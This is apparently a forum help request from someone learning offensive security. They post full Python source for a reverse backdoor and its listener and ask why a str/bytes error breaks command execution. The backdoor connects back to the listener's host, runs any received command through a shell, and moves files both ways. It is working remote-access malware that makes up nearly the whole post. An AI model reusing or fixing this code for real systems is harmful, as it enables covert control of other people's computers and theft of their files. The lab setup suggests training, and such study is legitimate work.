Hello I have a problem with mybackdoor.
When I run the backdoor I get a connection but everytime I try to execute a command I get this Error on the windows machine:
Traceback (most recent call last):
File “C:/Users/IEUser/Downloads/reverse_backdoor2.py”, line 65, in <module>
my_backdoor.run()
File “C:/Users/IEUser/Downloads/reverse_backdoor2.py”, line 43, in run
command = self.reliable_receive()
File “C:/Users/IEUser/Downloads/reverse_backdoor2.py”, line 23, in reliable_receive
json_data = json_data + self.connection.recv(1024)
TypeError: can only concatenate str (not “bytes”) to str

Here is the Listener code:
#!/usr/bin/env python
import socket, json, base64
class Listener:
def __init__(self, ip, port):
listener = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
listener.bind((ip, port))
listener.listen(0)
print(“[+] Waiting for incoming connections.”)
self.connection, adress = listener.accept()
print(“[+] Got a connection.” + str(adress))

def reliable_send(self, data):
json_data = json.dumps(data)
self.connection.send(json_data)
def reliable_receive(self):
json_data = “”
while True:
try:
json_data = json_data + self.connection.recv(1024)
return json.loads(json_data)
except ValueError:
continue
def write_file(self, path, content):
with open(path, “wb”) as file:
file.write(base64.b64decode(content))
return “[+] Download successful.”
def read_file(self, path):
with open(path, “rb”) as file:
return base64.b64encode(file.read())
def execute_remotely(self, command):
self.reliable_send(command)
if command[0] == “exit”:
self.connection.close()
exit()
return self.reliable_receive()
def run(self):
while True:
command = raw_input(“>> “)
command = command.split(” “)
try:
if command[0] == “upload”:
file_content = self.read_file(command[1])
command.append(file_content)
result = self.execute_remotely(command)
if command[0] == “download” and “[-] Error ” not in result:
result = self.write_file(command[1], result)
except Exception:
result = “[-] Error during command execution.”
print(result)
my_listener = Listener(“10.0.2.15”, 80)
my_listener.run()

Here is the backdoor code:
#!/usr/bin/env python

import socket
import subprocess
import json
import os
import base64
import sys

class Backdoor:
def __init__(self, ip, port):
self.connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.connection.connect((ip, port))

def reliable_send(self, data):
json_data = json.dumps(data)
self.connection.send(json_data)

def reliable_receive(self):
json_data = “”
while True:
try:
json_data = json_data + self.connection.recv(1024)
return json.loads(json_data)
except ValueError:
continue

def read_file(self, path):
with open(path, “rb”) as file:
return base64.b64encode(file.read())

def write_file(self, path, content):
with open(path, “wb”) as file:
file.write(base64.b64decode(content))
return “[+] Upload successful.”

def execute_system_command(self, command):
DEVNULL = open(os.devnull, ‘wb’)
return subprocess.check_output(command, shell=True, stderr=DEVNULL, stdin=DEVNULL)

def run(self):
while True:
command = self.reliable_receive()
try:
if command[0] == “exit”:
self.connection.close()
sys.exit()
elif command[0] == “cd” and len(command) > 1:
command_result = self.change_working_direcory_to(command[1])
elif command[0] == “download”:
command_result = self.read_file(command[1])
elif command[0] == “upload”:
command_result = self.write_file(command[1], command[2])
else:
command_result = self.execute_system_command(command)
except Exception:
command_result = “[-] Error during command execution.”
self.reliable_send(command_result)

def change_working_direcory_to(self, path):
os.chdir(path)
return “[+] Changing working directory to ” + path

my_backdoor = Backdoor(“10.0.2.15”, 80)
my_backdoor.run()